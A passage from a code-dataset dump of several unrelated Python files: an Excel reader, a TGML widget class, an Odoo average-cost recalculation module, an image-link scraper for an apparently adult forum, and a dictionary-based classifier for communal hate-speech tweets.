tf.app.run()\n\n","sub_path":"scripts/collection/collect_bootstrap_heuristic_dataset.py","file_name":"collect_bootstrap_heuristic_dataset.py","file_ext":"py","file_size_in_byte":4046,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"33652453","text":"# Load Excel spreadsheets created by the EOD Report and return a certain set\n# Of data. Currently want to loop through several spreadsheets and get this data\n# Date, Barcode, Route Number. Take this information and write it to another\n# Spreadsheet, possibly in order (by route) and pick out the worst offenders\n# Per month/week or other metric, Want to avoid manual input of filenames\nimport openpyxl\nimport datetime\n\n# Open Workbook\nwb = openpyxl.load_workbook('1-14-2016.xlsx')\n\n# Get current date for insertion into new Workbook\nnow = datetime.datetime.now()\n\n# Read the sheet, then print the 6th Column (Route #)\nsheet = wb.active\nfor i in range(1,10):\n\tprint(i, sheet.cell(row=i, column=6).value)\n\n# Write info to a new sheet","sub_path":"scans.py","file_name":"scans.py","file_ext":"py","file_size_in_byte":731,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"608055329","text":"\"\"\"\nLast Edited By: Kevin Flathers\nDate Las Edited: 06/26/2017\n\nAuthor: Kevin Flathers\nDate Created: 05/27/2017\n\nPurpose:\n\"\"\"\n\nfrom ...Tgml import *\n\nclass UniversalPoint(Tgml):\n\t\n\tDEFAULT_PROPERTIES = {\n\t\t'Id': 'UP',\n\t\t'Name': 'Universal',\n\t\t'Opacity': '1.0',\n\t\t'Visibility': 'Visible',\n\t\t'Clip': 'False',\n\t\t'ContentHeight': '20',\n\t\t'ContentWidth': '125',\n\t\t'Left': '0.0',\n\t\t'Top': '0.0',\n\t\t'Height': '20',\n\t\t'Width': '125'\n\t}\n\tSUPPORTED_CHILDREN = {}\n\n\tdef __init__(self):\n\t\tsuper().read_tgml_file(os.path.join(os.path.dirname(__file__), 'Universal.tgml'))\n\t\tself.element = self.element[0]\n\t\tself.__properties = {\n\t\t\t'Id': 'UP',\n\t\t\t'Name': '',\n\t\t\t'Opacity': '1.0',\n\t\t\t'Visibility': 'Visible',\n\t\t\t'Clip': 'False',\n\t\t\t'ContentHeight': '20',\n\t\t\t'ContentWidth': '125',\n\t\t\t'Left': '0.0',\n\t\t\t'Top': '0.0',\n\t\t\t'Height': '20',\n\t\t\t'Width': '125'\n\t\t}\n\t\tself.__exposed_properties = {\n\t\t\t'PointBind': 'Universal',\n\t\t\t'PointType': 'Analog',\n\t\t\t'Units': '',\n\t\t\t'Decimals': '1',\n\t\t\t'DigitalOff': 'Off',\n\t\t\t'DigitalOn': 'On',\n\t\t\t'MultistateText': '',\n\t\t\t'Viconics': 'False',\n\t\t\t'AnalogConversion': 'False',\n\t\t\t'ConversionInputMin': '0',\n\t\t\t'ConversionInputMax': '10',\n\t\t\t'ConversionOutputMin': '0',\n\t\t\t'ConversionOutputMax': '100',\n\t\t\t'ToolTipText': '',\n\t\t\t'ToolTipEnable': 'False'\n\t\t}\n\n\t@property\n\tdef properties(self):\n\t\treturn self.__properties\n\n\t@properties.setter\n\tdef properties(self, value):\n\t\tself.__properties = value\n\n\t@property\n\tdef exposed_properties(self):\n\t\treturn self.__properties\n\n\t@exposed_properties.setter\n\tdef exposed_properties(self, value):\n\t\tself.exposed_properties = value","sub_path":"Custom/UniversalPoint/UniversalPoint.py","file_name":"UniversalPoint.py","file_ext":"py","file_size_in_byte":1583,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"184127109","text":"# -*- coding: utf-8 -*-\n##############################################################################\n#\n# SIE CENTER custom module for Odoo\n# Copyright (C) 2021\n# @author: @cyntiafelix\n#\n##############################################################################\n\nfrom odoo import api, fields, models\nfrom odoo.tools import float_is_zero\nfrom odoo.exceptions import Warning, ValidationError\n\nclass MyProduct(models.Model):\n _inherit = 'product.template'\n\n def action_recalculate_avgcost(self):\n for product in self:\n log = []\n #Action applies only for average cost method\n if product.cost_method not in ('average'):\n product.message_post(body = ('El método de costo %s para el producto no aplica a esta acción'%product.cost_method))\n continue\n\n #Deleting all valuation lines for the product (it should delete also account moves in cascade)\n log.append(\"VALORACIONES\")\n log.append(\"Las siguientes líneas de valoración y contabilidad fueron eliminadas\")\n valuation_lines = self.env['stock.valuation.layer'].search([('product_id', '=', product.id)])\n account_ids = []\n for valuation in valuation_lines:\n if (valuation.account_move_id): account_ids.append(valuation.account_move_id.id)\n log.append(\"\"\"Referencia Valoración Inventario:%s, Referencia Contabilidad:%s\"\"\"\n %(valuation.display_name, valuation.account_move_id.name))\n valuation_lines.sudo().unlink()\n account_lines = self.env['account.move'].search([('id', 'in', account_ids)])\n account_lines._context['force_delete'] = True\n account_lines.sudo().unlink()\n\n log.append(\"
\")\n\n #Searching move lines for the product sorted by force_date\n log.append(\"TRANSFERENCIAS\")\n log.append(\"Las siguientes transferencias fueron revaloradas siguiendo el orden de su fecha forzada\")\n pick_lines = self.env['stock.picking'].search([('product_id', '=', product.id)], order='force_date')\n for pick in pick_lines:\n log.append(\"\"\"ID:%s, Referencia:%s, Estado:%s, Fecha Forzada:%s, Movimientos:%s\"\"\"\n %(pick.id, pick.name, pick.state, pick.force_date, [p.reference for p in pick.move_line_ids]))\n #Creating new valuation for each move line\n for move_line in pick.move_line_ids:\n if move_line.state != 'done':\n continue\n move = move_line.move_id\n rounding = move.product_id.uom_id.rounding\n diff = move_line.qty_done\n if float_is_zero(diff, precision_rounding=rounding):\n continue\n if move._is_in():\n log.append('Movimiento de Entrada')\n elif move._is_out():\n log.append('Movimiento de Salida')\n log.append('Cantidad %s'%diff)\n log.append('Precio Unitario %s'%move._get_price_unit())\n move_line.sudo()._create_correction_svl(move, diff)\n\n product.message_post(body = ('
').join(log))\n return True\n","sub_path":"recalculate_product_avgcost/models/product_template.py","file_name":"product_template.py","file_ext":"py","file_size_in_byte":3315,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"442339051","text":"# utf-8\nimport requests\n# from connectDB import cursor_datas\nfrom bs4 import BeautifulSoup, UnicodeDammit\nimport os\nimport re\nimport random\nfrom random import choice\n#import pymysql\nimport sys\nimport json\nsys.path.append('../')\n\n\ndef open_url2(url):\n # heads = {}\n # heads['User-Agent'] = 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36'\n # req = requests.get(url, headers=heads).content\n # return req\n UserAgent = [\n 'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)',\n 'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.2)',\n 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)',\n 'Mozilla/5.0 (Windows; U; Windows NT 5.2) Gecko/2008070208 Firefox/3.0.1',\n 'Mozilla/5.0 (Windows; U; Windows NT 5.1) Gecko/20070803 Firefox/1.5.0.12',\n 'Mozilla/5.0 (Macintosh; PPC Mac OS X; U; en) Opera 8.0',\n 'Opera/8.0 (Macintosh; PPC Mac OS X; U; en)',\n 'Opera/9.27 (Windows NT 5.2; U; zh-cn)',\n 'Mozilla/5.0 (Windows; U; Windows NT 5.2) AppleWebKit/525.13 (KHTML, like Gecko) Chrome/0.2.149.27 Safari/525.13',\n 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.12) Gecko/20080219 Firefox/2.0.0.12 Navigator/9.0.0.6',\n 'Mozilla/5.0 (iPhone; U; CPU like Mac OS X) AppleWebKit/420.1 (KHTML, like Gecko) Version/3.0 Mobile/4A93 Safari/419.3',\n 'Mozilla/5.0 (Windows; U; Windows NT 5.2) AppleWebKit/525.13 (KHTML, like Gecko) Version/3.1 Safari/525.13'\n ]\n user_agent = choice(UserAgent)\n headers = {'User-Agent': user_agent}\n \n html = requests.get(url, headers=headers).content\n return html\n\ndef open_url(url,arr):\n # heads = {}\n # heads['User-Agent'] = 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36'\n # req = requests.get(url, headers=heads).content\n # return req\n UserAgent = [\n 'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)',\n 'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.2)',\n 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)',\n 'Mozilla/5.0 (Windows; U; Windows NT 5.2) Gecko/2008070208 Firefox/3.0.1',\n 'Mozilla/5.0 (Windows; U; Windows NT 5.1) Gecko/20070803 Firefox/1.5.0.12',\n 'Mozilla/5.0 (Macintosh; PPC Mac OS X; U; en) Opera 8.0',\n 'Opera/8.0 (Macintosh; PPC Mac OS X; U; en)',\n 'Opera/9.27 (Windows NT 5.2; U; zh-cn)',\n 'Mozilla/5.0 (Windows; U; Windows NT 5.2) AppleWebKit/525.13 (KHTML, like Gecko) Chrome/0.2.149.27 Safari/525.13',\n 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.12) Gecko/20080219 Firefox/2.0.0.12 Navigator/9.0.0.6',\n 'Mozilla/5.0 (iPhone; U; CPU like Mac OS X) AppleWebKit/420.1 (KHTML, like Gecko) Version/3.0 Mobile/4A93 Safari/419.3',\n 'Mozilla/5.0 (Windows; U; Windows NT 5.2) AppleWebKit/525.13 (KHTML, like Gecko) Version/3.1 Safari/525.13'\n ]\n user_agent = choice(UserAgent)\n headers = {'User-Agent': user_agent}\n \n html = requests.get(url, headers=headers).content\n find_href(html,arr)\n\n\ndef find_href(req,arr):\n soup = BeautifulSoup(req, 'lxml')\n hreflist = []\n for each in soup.find_all('tr', class_='tr3 t_one'):\n\n links = each.a.get('href')\n # print(links)\n #pattern = r'(html_data/[^\"]+\\.html)'\n pattern = r'^html_data/.*\\.html$'\n R = re.findall(pattern,links)\n # print(R)\n for i in R:\n href = \"http://jinwandafiji.top/pw/\" + i\n print(href)\n if href:\n hreflist.append(href)\n # return hreflist\n find_img(hreflist,arr)\n\ndef find_img(hreflist,arr):\n print(len(hreflist))\n #datalist = []\n titlelist = []\n alldatas=[]\n # dbname = sex_picture\n # db_name = 'sex_picture'\n for i in hreflist:\n html = open_url2(i)\n srclist = []\n soup = BeautifulSoup(html, 'lxml')\n souph1 = soup.find('h1')\n if souph1:\n titles = souph1.get_text().strip()\n title = titles.replace('[','').replace(']','')\n else:\n print(\"network error\")\n #cursor.execute(\"DROP TABLE IF EXISTS `\"+title+\"`\")\n # sql = \"\"\"CREATE TABLE IF NOT EXISTS `\"\"\"+title+\"\"\"`(\n # ID INT NOT NULL AUTO_INCREMENT PRIMARY KEY,\n # href CHAR(100) NOT NULL,\n # likenumber INT,\n # collect INT,\n # see INT\n # )\"\"\"\n \n # cursor_datas(sql,db_name)\n \n #strip去除多余的空格(\\n)\n titlelist.append(title.strip())\n for each in soup.select('div[class=f14] > img'): \n src = each.get('src').strip()\n # print(src)\n srclist.append(src)\n alldata={'title':title,'href':srclist,'star':0 ,'collect':False,'delete':False,'download':False}\n alldatas.append(alldata)\n #print(alldata)\n arr += alldatas\n \n # for e in srclist:\n \n # data = \"INSERT IGNORE INTO `\"+title+\"`(`href`,`likenumber`,`collect`,`see`) VALUES ('\"+str(e)+\"',0,0,0);\"\n \n # cursor_datas(data,db_name)\n\n\ndef urllist(url,arr):\n urllist=[]\n for i in range(1,3):\n newurl = url + \"&page=\"+str(i)\n urllist.append(newurl)\n print(newurl)\n open_url(newurl,arr)\n\ndef save_json(arr):\n newfile = open('sexpicturehref.json','a',)\n newfile.write(json.dumps(arr))\n newfile.close()\n\ndef sumarr(url):\n arr = []\n urllist(url,arr)\n save_json(arr)\n print(len(arr))\n\n\n\n# def urlarr():\n# urlarr = ['http://k6.csnmdcjnx.pw/pw/thread.php?fid=114','http://k6.csnjcbnxdnb.xyz/pw/thread.php?fid=14' ]\n# for url in urlarr:\n# sumarr(url)\n\n\nif __name__ == '__main__':\n # sexbeauty\n url = 'http://jinwandafiji.top/pw/thread.php?fid=14'\n # clear beauty\n # url = 'http://k6.csnjcbnxdnb.xyz/pw/thread.php?fid=14' \n # find_img(find_href(open_url(url)))\n sumarr(url)","sub_path":"getsexpicturelist.py","file_name":"getsexpicturelist.py","file_ext":"py","file_size_in_byte":5979,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"176243633","text":"import sys\nimport os\nprint(os.path.dirname(__file__))\nimport random\nimport re\nimport codecs\nimport string\nfrom happyfuntokenizing import *\nfrom nltk.corpus import stopwords\nfrom textblob import *\nfrom nltk.stem.wordnet import WordNetLemmatizer\nfrom sklearn import svm\nfrom sklearn import metrics\nfrom sklearn import cross_validation\nfrom sklearn.feature_extraction.text import CountVectorizer\n\n\nfrom sklearn.neighbors import KNeighborsClassifier\nfrom sklearn.svm import SVC\nfrom sklearn.tree import DecisionTreeClassifier\nfrom sklearn.ensemble import RandomForestClassifier, AdaBoostClassifier\nfrom sklearn.naive_bayes import GaussianNB\nfrom sklearn.discriminant_analysis import LinearDiscriminantAnalysis\nfrom sklearn.discriminant_analysis import QuadraticDiscriminantAnalysis\n\nfrom sklearn.cross_validation import KFold\n\nfrom sklearn.metrics import accuracy_score\n\nfrom sklearn.metrics import confusion_matrix\nimport numpy as np\nimport gzip\nfrom sklearn.externals import joblib\nimport pickle\n\nos.chdir('/home/du3/13CS30043/BTP/System/Gandhi_Award/communal/')\n\n#basepath = \"/home/du3/13CS30043/BTP/Classifier/\"\nbasepath = '/home/du3/13CS30043/BTP/System/Gandhi_Award/communal/'\nmodel_path = basepath+\"ant_communal_trained.pkl\"\nmycompile = lambda pat: re.compile(pat, re.UNICODE)\n\n'''\nPRONOUN_PATH = '/home/du3/13CS30043/BTP/System/Gandhi_Award/classification/global_view/english_pronoun.txt'\nSLANG_PATH = '/home/du3/13CS30043/BTP/System/Gandhi_Award/classification/global_view/english_slang.txt'\nINTENSIFIER_PATH = '/home/du3/13CS30043/BTP/System/Gandhi_Award/classification/global_view/english_intensifier.txt'\nEVENT_PATH = '/home/du3/13CS30043/BTP/System/Gandhi_Award/classification/global_view/english_nonsituational_phrase.txt'\nMODAL_VERB_PATH = '/home/du3/13CS30043/BTP/System/Gandhi_Award/classification/global_view/english_modal_verb.txt'\nWHWORD_PATH = '/home/du3/13CS30043/BTP/System/Gandhi_Award/classification/global_view/english_whwords.txt'\nRACE_TERM = 'communal_race.txt'\n'''\n\nOFFSET = 2\nCONF_THR = 0\n\n##################### DICTIONARY FILE PATH ####################\n\nSUBJECTIVE_PATH = basepath+'DICTIONARY/subjclueslen1-HLTEMNLP05.tff'\nCOMMUNAL_PATH = basepath+'DICTIONARY/communal_dictionary.txt'\nRELIGION_PATH = basepath+'DICTIONARY/communal_race.txt'\nSLANG_PATH = basepath+'DICTIONARY/english_slang.txt'\nSWEAR_PATH = basepath+'DICTIONARY/english_swear.txt'\nCOMMUNAL_HASHTAG_PATH = basepath+'DICTIONARY/communal_hashtag_dictionary.txt'\n\nANTICOMMUNAL_COLLOCATIONS_PATH = os.path.join(os.path.dirname(__file__), 'ANTI_DICTIONARY/anticommunal_collocations.txt')\nANTICOMMUNAL_HASHTAGS_PATH = os.path.join(os.path.dirname(__file__), 'ANTI_DICTIONARY/anticommunal_hashtags.txt')\n\n###################### END OF DICTIONARY FILE PATH #############\n\n\ncachedstopwords = stopwords.words(\"english\")\t# English Stop Words\nTagger_Path = \"/home/du3/13CS30043/BTP/System/Gandhi_Award/ark-tweet-nlp-0.3.2/\"\n#Tagger_Path = '/home/krudra/twitter_code/aaai/characterize_user/wordcloud/ark-tweet-nlp-0.3.2/'\nlmtzr = WordNetLemmatizer()\t\t# Lemmatizer\n\nSUBJECTIVE = {}\nCOMMUNAL = {}\nRELIGION = {}\nSLANG = {}\nHASHTAG = {}\n\n\nA_COLL = {}\nA_HASH = {}\n\nuser_path = os.path.join(os.path.dirname(__file__),\"User_Tag\")\nmap_path = os.path.join(os.path.dirname(__file__),\"User_Enhance\")\n\n#test_files = [\"nepal_Train.txt_user.txt\",\"gurudaspur_Train.txt_user.txt\",\"kashmir_Train.txt_user.txt\"]\n#test_files = [\"nepal_TWOCLASS_Train.txt\",\"kashmir_TWOCLASS_Train.txt\",\"gurudaspur_TWOCLASS_Train.txt\"]\ntest_files = [\"nepal_Anti_Train.txt\",\"gurudaspur_Anti_Train.txt\"]\n\nUser_Dict = {}\nMap_Ids = {}\n\ndef load_user_dict():\n\tuser_files = os.listdir(user_path)\n\tfor filename in user_files:\n\t\tfile = codecs.open(user_path+'/'+filename,'r','utf-8')\n\t\tprint(filename)\n\t\tfor row in file:\n\t\t\ttry:\n\t\t\t\t#print(row.split('\\t'))\n\t\t\t\ts = row.strip().split('\\t')\n\t\t\t\tUser_Dict[Map_Ids[s[0]]] = (float(s[1]),float(s[2]),float(s[3]),int(s[4]))\n\t\t\texcept Exception as e:\n\t\t\t\tprint(row.split('\\t'))\n\n\t\tprint(filename)\n\ndef map_user_ids():\n\tuser_files = os.listdir(map_path)\n\tfor filename in user_files:\n\t\tfile = codecs.open(map_path+'/'+filename,'r','utf-8')\n\t\tfor row in file:\n\t\t\ts = row.strip().split('\\t')\n\t\t\tMap_Ids[s[1]] = s[0]\n\n\t\tprint(filename)\t\n\n\n##################################\n# Reads Dictionary files and stores them in respective dictionary\n##################################\n\ndef Read_Files():\n\n\tfp = open(SUBJECTIVE_PATH,'r')\n\tfor l in fp:\n\t\twl = l.split()\n\t\tType = wl[0].split('=')[1].strip(' \\t\\n\\r')\n\t\tpos_tag = wl[3].split('=')[1].strip(' \\t\\n\\r')\n\t\tTag = wl[5].split('=')[1].strip(' \\t\\n\\r')\n\t\tword = wl[2].split('=')[1].strip(' \\t\\n\\r')\n\n\n\t\tif Type=='strongsubj':\n\t\t\tif SUBJECTIVE.__contains__(word)==False:\n\t\t\t\tif Tag=='negative':\n\t\t\t\t\tSUBJECTIVE[word] = -1\n\t\t\t\telif Tag=='positive':\n\t\t\t\t\tSUBJECTIVE[word] = 1\n\t\t\t\telse:\n\t\t\t\t\tSUBJECTIVE[word] = 0\n\tfp.close()\n\n\tfp = open(COMMUNAL_HASHTAG_PATH,'r')\n\tfor l in fp:\n\t\tw = l.strip(' #\\t\\n\\r').lower()\n\t\tif HASHTAG.__contains__(w)==False:\n\t\t\tHASHTAG[w] = 1\n\tfp.close()\n\t\n\tfp = open(RELIGION_PATH,'r')\n\tfor l in fp:\n\t\tw = l.strip(' \\t\\n\\r').lower()\n\t\tif RELIGION.__contains__(w)==False:\n\t\t\tRELIGION[w] = 1\n\tfp.close()\n\t\n\tfp = open(COMMUNAL_PATH,'r')\n\tfor l in fp:\n\t\twl = l.split('\\t')\n\t\tw = wl[0].strip(' \\t\\n\\r').lower()\n\t\tif COMMUNAL.__contains__(w)==False:\n\t\t\tx1 = wl[1].strip(' \\t\\n\\r')\n\t\t\tx2 = wl[2].strip(' \\t\\n\\r')\n\t\t\tx3 = wl[3].strip(' \\t\\n\\r')\n\t\t\tif len(x2)==0:\n\t\t\t\tCOMMUNAL[w] = (int(wl[1]),0)\n\t\t\telse:\n\t\t\t\tCOMMUNAL[w] = (int(wl[1]),int(wl[2]))\n\t\t\t'''\t\n\t\t\ttry:\n\t\t\t\tx1 = int(wl[1])\n\t\t\texcept Exception as e\n\t\t\tCOMMUNAL[w] = (int(wl[1]),int(wl[2]),int(wl[3]))\n\t\t\t'''\n\tfp.close()\n\t\n\n\tfp = open(SLANG_PATH,'r')\n\tfor l in fp:\n\t\tw = l.strip(' \\t\\n\\r').lower()\n\t\tif SLANG.__contains__(w)==False:\n\t\t\tSLANG[w] = 1\n\tfp.close()\n\t\n\tfp = open(SWEAR_PATH,'r')\n\tfor l in fp:\n\t\tw = l.strip(' \\t\\n\\r').lower()\n\t\tif SLANG.__contains__(w)==False:\n\t\t\tSLANG[w] = 1\n\tfp.close()\n\n\tfp = open(ANTICOMMUNAL_COLLOCATIONS_PATH,'r')\n\tfor l in fp:\n\t\tw = l.strip(' \\t\\n\\r').lower()\n\t\tA_COLL[w] = 1\n\t\t# print(w)\n\n\tfp.close()\n\n\n\tfp = open(ANTICOMMUNAL_HASHTAGS_PATH,'r')\n\tfor l in fp:\n\t\tw = l.strip(' \\t\\n\\r').lower()\n\t\tA_HASH[w] = 1\n\n\tfp.close()\n\n\n##################################\n# check if a unigram is strongsub and negative\n##################################\ndef getnegativesubjective(unigram):\n\tfor x in unigram:\n\t\tif SUBJECTIVE.__contains__(x)==True:\n\t\t\tif SUBJECTIVE[x]==-1:\n\t\t\t\treturn 1\n\treturn 0\n\n\n##################################\n# check if unigram, bigram and trigram are communal slang or not\n##################################\ndef getcommunalslang(unigram,bigram,trigram):\n\tflag = 0\n\tfor u in unigram:\n\t\tif COMMUNAL.__contains__(u)==True:\n\t\t\tv = COMMUNAL[u]\n\t\t\tif v[1]==1:\n\t\t\t\tflag=1\n\t\t\t\tbreak\n\tif flag==1:\n\t\treturn 1\n\t\n\tfor u in bigram:\n\t\tif COMMUNAL.__contains__(u)==True:\n\t\t\tv = COMMUNAL[u]\n\t\t\tif v[1]==1:\n\t\t\t\tflag=1\n\t\t\t\tbreak\n\tif flag==1:\n\t\treturn 1\n\t\n\tfor u in trigram:\n\t\tif COMMUNAL.__contains__(u)==True:\n\t\t\tv = COMMUNAL[u]\n\t\t\tif v[1]==1:\n\t\t\t\tflag=1\n\t\t\t\tbreak\n\tif flag==1:\n\t\treturn 1\n\n\treturn 0\n\n\n##################################\n# check if there is a communal or religious term and a slang or subjective negative term in a window of +-3 \n##################################\n\ndef get_religious_slang(unigram,bigram,trigram):\n\t\n\t################################# First Check Unigrams ################################################################\n\tflag = 0\n\tfor i in range(0,len(unigram),1):\n\t\tw = unigram[i]\n\t\tif COMMUNAL.__contains__(w)==True or RELIGION.__contains__(w)==True:\n\t\t\tL = i - OFFSET\n\t\t\tR = i + OFFSET\n\t\t\tif L<0:\n\t\t\t\tL = 0\n\t\t\tif R >= len(unigram):\n\t\t\t\tR = len(unigram) - 1\n\t\t\tfor j in range(L,i,1):\n\t\t\t\tif SUBJECTIVE.__contains__(unigram[j])==True:\n\t\t\t\t\tif SUBJECTIVE[unigram[j]]==-1:\n\t\t\t\t\t\tflag=1\n\t\t\t\t\t\tbreak\n\t\t\t\telif SLANG.__contains__(unigram[j])==True:\n\t\t\t\t\tflag=1\n\t\t\t\t\tbreak\n\t\t\tif flag==1:\n\t\t\t\treturn 1\n\t\t\tfor j in range(i+1,R+1,1):\n\t\t\t\tif SUBJECTIVE.__contains__(unigram[j])==True:\n\t\t\t\t\tif SUBJECTIVE[unigram[j]]==-1:\n\t\t\t\t\t\tflag=1\n\t\t\t\t\t\tbreak\n\t\t\t\telif SLANG.__contains__(unigram[j])==True:\n\t\t\t\t\tflag=1\n\t\t\t\t\tbreak\n\t\t\tif flag==1:\n\t\t\t\treturn 1\n\n\t################################# Second Check Bigrams ??? - we should have checked for unigrams ################################################################\n\t\n\tflag = 0\n\tfor i in range(0,len(bigram),1):\n\t\tw = bigram[i]\n\t\tif COMMUNAL.__contains__(w)==True or RELIGION.__contains__(w)==True:\n\t\t\tL = i - OFFSET\n\t\t\tR = i + OFFSET\n\t\t\tif L<0:\n\t\t\t\tL = 0\n\t\t\tif R >= len(bigram):\n\t\t\t\tR = len(bigram) - 1\n\n\t\t\tstr_before = bigram[L]\n\n\t\t\tfor j in range(L+1,i-1,1):\n\t\t\t\tstr_before = str_before+' '+(bigram[j].split(' '))[1]\n\n\t\t\tunigram_before = str_before.split(' ')\n\n\t\t\ttrigram_before = []\n\n\t\t\tif len(unigram_before)>=3:\n\t\t\t\tfor j in range(0,len(unigram_before)-2,1):\n\t\t\t\t\ts = unigram_before[j] + ' ' + unigram_before[j+1] + ' ' + unigram_before[j+2]\n\t\t\t\t\ttrigram_before.append(s)\n\n\t\t\tfor j in range(L,i,1):\n\t\t\t\tif SUBJECTIVE.__contains__(bigram[j])==True:\n\t\t\t\t\tif SUBJECTIVE[bigram[j]]==-1:\n\t\t\t\t\t\tflag=1\n\t\t\t\t\t\tbreak\n\t\t\t\telif SLANG.__contains__(bigram[j])==True:\n\t\t\t\t\tflag=1\n\t\t\t\t\tbreak\n\t\t\tif flag==1:\n\t\t\t\treturn 1\n\n\t\t\tfor j in range(0,len(unigram_before),1):\n\t\t\t\tif SUBJECTIVE.__contains__(unigram_before[j])==True:\n\t\t\t\t\tif SUBJECTIVE[unigram_before[j]]==-1:\n\t\t\t\t\t\tflag=1\n\t\t\t\t\t\tbreak\n\t\t\t\telif SLANG.__contains__(unigram_before[j])==True:\n\t\t\t\t\tflag=1\n\t\t\t\t\tbreak\n\t\t\tif flag==1:\n\t\t\t\treturn 1\n\n\n\n\t\t\tfor j in range(0,len(trigram_before),1):\n\t\t\t\tif SUBJECTIVE.__contains__(trigram_before[j])==True:\n\t\t\t\t\tif SUBJECTIVE[trigram_before[j]]==-1:\n\t\t\t\t\t\tflag=1\n\t\t\t\t\t\tbreak\n\t\t\t\telif SLANG.__contains__(trigram_before[j])==True:\n\t\t\t\t\tflag=1\n\t\t\t\t\tbreak\n\t\t\tif flag==1:\n\t\t\t\treturn 1\n\n\n\t\t\tstr_after = ''\n\n\n\t\t\tfor j in range(i+1,R+1,1):\n\t\t\t\tstr_after = str_after+' '+(bigram[j].split(' '))[1]\n\n\t\t\tunigram_after = str_after.split(' ')\n\n\t\t\ttrigram_after = []\n\n\t\t\tif len(unigram_after)>=3:\n\t\t\t\tfor j in range(0,len(unigram_after)-2,1):\n\t\t\t\t\ts = unigram_after[j] + ' ' + unigram_after[j+1] + ' ' + unigram_after[j+2]\n\t\t\t\t\ttrigram_after.append(s)\n\n\n\t\t\tfor j in range(i+1,R+1,1):\n\t\t\t\tif SUBJECTIVE.__contains__(bigram[j])==True:\n\t\t\t\t\tif SUBJECTIVE[bigram[j]]==-1:\n\t\t\t\t\t\tflag=1\n\t\t\t\t\t\tbreak\n\t\t\t\telif SLANG.__contains__(bigram[j])==True:\n\t\t\t\t\tflag=1\n\t\t\t\t\tbreak\n\t\t\tif flag==1:\n\t\t\t\treturn 1\n\n\n\t\t\tfor j in range(0,len(unigram_after),1):\n\t\t\t\tif SUBJECTIVE.__contains__(unigram_after[j])==True:\n\t\t\t\t\tif SUBJECTIVE[unigram_after[j]]==-1:\n\t\t\t\t\t\tflag=1\n\t\t\t\t\t\tbreak\n\t\t\t\telif SLANG.__contains__(unigram_after[j])==True:\n\t\t\t\t\tflag=1\n\t\t\t\t\tbreak\n\t\t\tif flag==1:\n\t\t\t\treturn 1\n\n\n\t\t\t# print(str_before, unigram_before, str_after, unigram_after)\n\n\t\t\tfor j in range(0,len(trigram_after),1):\n\t\t\t\tif SUBJECTIVE.__contains__(trigram_after[j])==True:\n\t\t\t\t\tif SUBJECTIVE[trigram_after[j]]==-1:\n\t\t\t\t\t\tflag=1\n\t\t\t\t\t\tbreak\n\t\t\t\telif SLANG.__contains__(trigram_after[j])==True:\n\t\t\t\t\tflag=1\n\t\t\t\t\tbreak\n\t\t\tif flag==1:\n\t\t\t\treturn 1\n\t\n\t################################# Third Check Trigrams ??? - we should have checked for unigrams ################################################################\n\t\n\tflag = 0\n\tfor i in range(0,len(trigram),1):\n\t\tw = trigram[i]\n\t\t# print(w)\n\t\tif COMMUNAL.__contains__(w)==True or RELIGION.__contains__(w)==True:\n\t\t\tL = i - OFFSET\n\t\t\tR = i + OFFSET\n\n\t\t\tunigram_before = []\n\n\t\t\tbigram_before = []\n\n\t\t\tif i>=3:\n\t\t\t\tstr_before = trigram[i-3]\n\n\t\t\t\tunigram_before = str_before.split(' ')\n\n\t\t\t\tif len(unigram_before)>=3:\n\t\t\t\t\tfor j in range(0,len(unigram_before)-1,1):\n\t\t\t\t\t\ts = unigram_before[j] + ' ' + unigram_before[j+1]\n\t\t\t\t\t\tbigram_before.append(s)\n\n\n\n\n\t\t\tif L<0:\n\t\t\t\tL = 0\n\t\t\tif R >= len(trigram):\n\t\t\t\tR = len(trigram) - 1\n\n\n\n\t\t\tfor j in range(L,i,1):\n\t\t\t\tif SUBJECTIVE.__contains__(trigram[j])==True:\n\t\t\t\t\tif SUBJECTIVE[trigram[j]]==-1:\n\t\t\t\t\t\tflag=1\n\t\t\t\t\t\tbreak\n\t\t\t\telif SLANG.__contains__(trigram[j])==True:\n\t\t\t\t\tflag=1\n\t\t\t\t\tbreak\n\t\t\tif flag==1:\n\t\t\t\treturn 1\n\n\n\n\t\t\tfor j in range(0,len(unigram_before),1):\n\t\t\t\tif SUBJECTIVE.__contains__(unigram_before[j])==True:\n\t\t\t\t\tif SUBJECTIVE[unigram_before[j]]==-1:\n\t\t\t\t\t\tflag=1\n\t\t\t\t\t\tbreak\n\t\t\t\telif SLANG.__contains__(unigram_before[j])==True:\n\t\t\t\t\tflag=1\n\t\t\t\t\tbreak\n\t\t\tif flag==1:\n\t\t\t\treturn 1\n\n\n\t\t\tfor j in range(0,len(bigram_before),1):\n\t\t\t\tif SUBJECTIVE.__contains__(bigram_before[j])==True:\n\t\t\t\t\tif SUBJECTIVE[bigram_before[j]]==-1:\n\t\t\t\t\t\tflag=1\n\t\t\t\t\t\tbreak\n\t\t\t\telif SLANG.__contains__(bigram_before[j])==True:\n\t\t\t\t\tflag=1\n\t\t\t\t\tbreak\n\t\t\tif flag==1:\n\t\t\t\treturn 1\n\n\n\t\t\tunigram_after = []\n\t\t\tbigram_after = []\n\n\t\t\tif i<=len(trigram)-4:\n\t\t\t\tstr_after = trigram[i+3]\n\n\t\t\t\tunigram_after = str_after.split(' ')\n\n\t\t\t\tif 